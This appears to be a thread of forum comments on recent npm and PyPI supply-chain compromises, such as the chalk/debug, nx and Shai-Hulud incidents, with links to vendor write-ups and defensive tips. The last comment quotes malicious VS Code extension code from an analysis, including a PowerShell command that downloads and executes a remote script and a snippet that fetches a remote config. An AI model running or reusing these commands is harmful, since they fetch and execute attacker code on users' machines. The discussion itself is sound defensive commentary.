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We haven't blogged this yet, but a variety of teams found this in parallel. The packages are quarantined by PyPi Follow the overall incident: https://ramimac.me/teampcp/#phase-10 Aikido/Charlie with a very quick blog: https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-canisterwo… ReversingLabs, JFrog also made parallel reports

This looks pretty bad. Even if this only affects crypto wallets, I can't help but imagine how much worse this could be. Another good read is at https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised

Tips to protect yourself from supply-chain attacks in the JavaScript ecosystem: - Don't update dependencies unless necessary - Don't use `npm` to install NPM packages, use Deno with appropriate sandboxing flags - Sign up for https://socket.dev and/or https://www.aikido.dev - Work inside a VM

> it’s likely there forever and identifiable by that same hash from anywhere in the fork network in case you are not aware of it already: https://www.aikido.dev/blog/the-fork-awakens-why-githubs-invisible-net…

More: SHA1-Hulud the Second Comming – Postman, Zapier, PostHog All Compromised via NPM https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-en…

The chalk/debug one https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised I believe socket also found it this way just a bit later. The dev later said that Charlie notifying him probably shaved off some very important time for the remediation. So in this case 2 different companies found it using automated tech before anyone else

According to Aikido Security the attack has now targeted 180+ packages: https://www.aikido.dev/blog/s1ngularity-nx-attackers-strike-again

I think this was posted because the of the recent Npm malware fiasco. The malware monkey-patched native JS functions to replace strings that matched crypto addresses in certain the fetch, and XMLHttpRequest functions: https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised Considering there's no way to check whether a function is monkey-patched, this just tells me the JavaScript ecosystem was not designed with malicious actors in mind

Is this related to npm debug and chalk packages being compromised? https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised

The phishing email comes across a bit too amateur. Specifically the inclusion of: "we kindly ask that you complete this update your earliest convenience". The email was included here: https://cdn.prod.website-files.com/642adcaf364024654c71df23/68bf028d86… From this article: https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised

The full payload is available here if you want to do analysis, etc: https://www.aikido.dev/blog/popular-nx-packages-compromised-on-npm#the…

Hi! That sentence is actually a longstanding bug in Github oAth screen. ( https://github.com/orgs/community/discussions/37117 ) Also, if you don't trust us, just use our local scanner... So we never get access to your source code... Also we're ISO 27001/SOC2 compliant: https://www.aikido.dev/trust-center And also, here's the process we use to make sure your code is never saved longer than necessary: https://help.aikido.dev/en/articles/6976661-aikido-never-stores-your-c…

Quite possibly - there have been several incidents recently and a number of researchers working together so it’s not clear exactly who found something first and it’s definitely not as simple to fix as tossing a tool in place. The CEO of socket.dev described an automated pipeline flagging new uploads for analysts, for example, which is good but not instantaneous: https://news.ycombinator.com/item?id=45257681 The Aikido team also appear to be suggesting they investigated a suspicious flag (apologies if I’m misreading their post), which again needs time for analysts to work: https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised My thought was simply that these were caught relatively quickly by security researchers rather than by compromised users reporting breaches. If you didn’t install updates with a relatively short period of time after they were published, the subsequent response would keep you safe. Obviously that’s not perfect and a sophisticated, patient attack like liblzma suffered would likely still be possible but there really does seem to be a value to having something like Debian’s unstable/stable divide where researchers and thrill-seekers would get everything ASAP but most people would give it some time to be tested. What I’d really like to see is a community model for funding that and especially supporting independent researchers.

restrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data. Take for example this activity from a malicious extension: This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers. powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex" This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent. https://securitylabs.datadoghq.com/articles/mut-9332-malicious-solidit… Or this one: const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json'; function fetchConfigAndRun() { http.get(CONFIG_URL, (res) they also establishes outbound connections to dropbox and other not expected domains: https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-malware so maybe it's not bulletproof, but it helps to mitigate these threats.